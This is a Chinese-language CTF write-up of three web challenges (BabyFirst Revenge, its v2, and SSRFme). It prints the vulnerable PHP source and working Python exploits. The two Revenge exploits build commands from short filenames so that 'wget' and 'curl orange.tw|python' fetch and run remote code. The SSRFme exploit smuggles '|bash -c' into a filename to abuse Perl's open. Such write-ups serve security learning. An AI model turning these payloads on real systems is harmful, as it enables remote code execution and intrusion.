国际赛还是水准比较高的,题目都很有通用性
一、BabyFirst Revenge
源码:
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
五个字符的命令执行,这个还是比较简单的,附上一种exp:
import requests
def exec_sub(cmd):
resp = requests.post("http://52.199.204.34/?cmd="+cmd).text
def exec(cmd):
for x in cmd:
print(x)
if cmd[-1]==x:
exec_sub(">%s" % x)
exec_sub("ls>>\\")
exec_sub("rm %s" % x)
elif x==" ":
exec_sub(">\\ \\")
exec_sub("ls>>\\")
exec_sub("rm ?\\")
else:
exec_sub(">%s\\" % x)
exec_sub("ls>>\\")
exec_sub("rm %s\\" % x)
exec_sub("sh \\")
exec("wget 1759614952")
将命令分隔成单个字符,不断新建文件、写入、删除,用“\”连接起来即可,最后sh执行文件。
二、BabyFirst Revenge v2
源码:
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
v2变成四个字符了,这时就不能用rm了,保持顺序拼接命令就比较困难了,附上官方的exp
import requests
from urllib import quote
payload = [
# 将 "g> ht- sl" 写到文件 "v"
'>dir',
'>sl',
'>g\>',
'>ht-',
'*>v',
# 将文件"v"中的字符串倒序,放到文件"x",就变成了 "ls -th >g"
'>rev',
'*v>x',
# 生成命令 "curl orange.tw|python;"
'>\;\\',
'>on\\',
'>th\\',
'>py\\',
'>\|\\',
'>tw\\',
'>e.\\',
'>ng\\',
'>ra\\',
'>o\\',
'>\ \\',
'>rl\\',
'>cu\\',
# getshell
'sh x',
'sh g',
]
r = requests.get('http://52.197.41.31/?reset=1')
for i in payload:
r = requests.get('http://52.197.41.31/?cmd=' + quote(i) )
这里用"*>v"的时候,会将目录下文件的名字连接起来,作为命令重定向到文件"v"
三、SSRFme?
源码:
<?php
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
这题主要是利用了perl的open函数执行命令的特性,open函数的第二个参数可以将文件流用管道重定向到其它地方。比如open(FD,"|id")即可执行id命令。
perl的LWP对于file协议的处理就调用了open函数,查看file.pm文件如下:
...
opendir(D, $path) or
return HTTP::Response->new( &HTTP::Status::RC_INTERNAL_SERVER_ERROR,
"Cannot read directory '$path': $!");
...
# read the file
if ($method ne "HEAD") {
open(F, $path) or return new
HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
"Cannot read file '$path': $!");
binmode(F);
$response = $self->collect($arg, $response, sub {
my $content = "";
my $bytes = sysread(F, $content, $size);
return \$content if $bytes > 0;
return \ "";
});
close(F);
}
...
只要访问file://|whoami就能执行命令了,但前提是$path存在,所以要先建一个以要执行的命令为文件名的文件。最终的exp如下:
import requests
target = "http://13.115.136.15"
requests.get(target+"/?url=127.0.0.1&filename=|bash -c /readflag")
requests.get(target+"/?url=file:|bash -c /readflag&filename=1")
print(requests.get(target+"/sandbox/c9d6ffb50b54d12fc4dfe6a4d9676fd8/1").text)
网友评论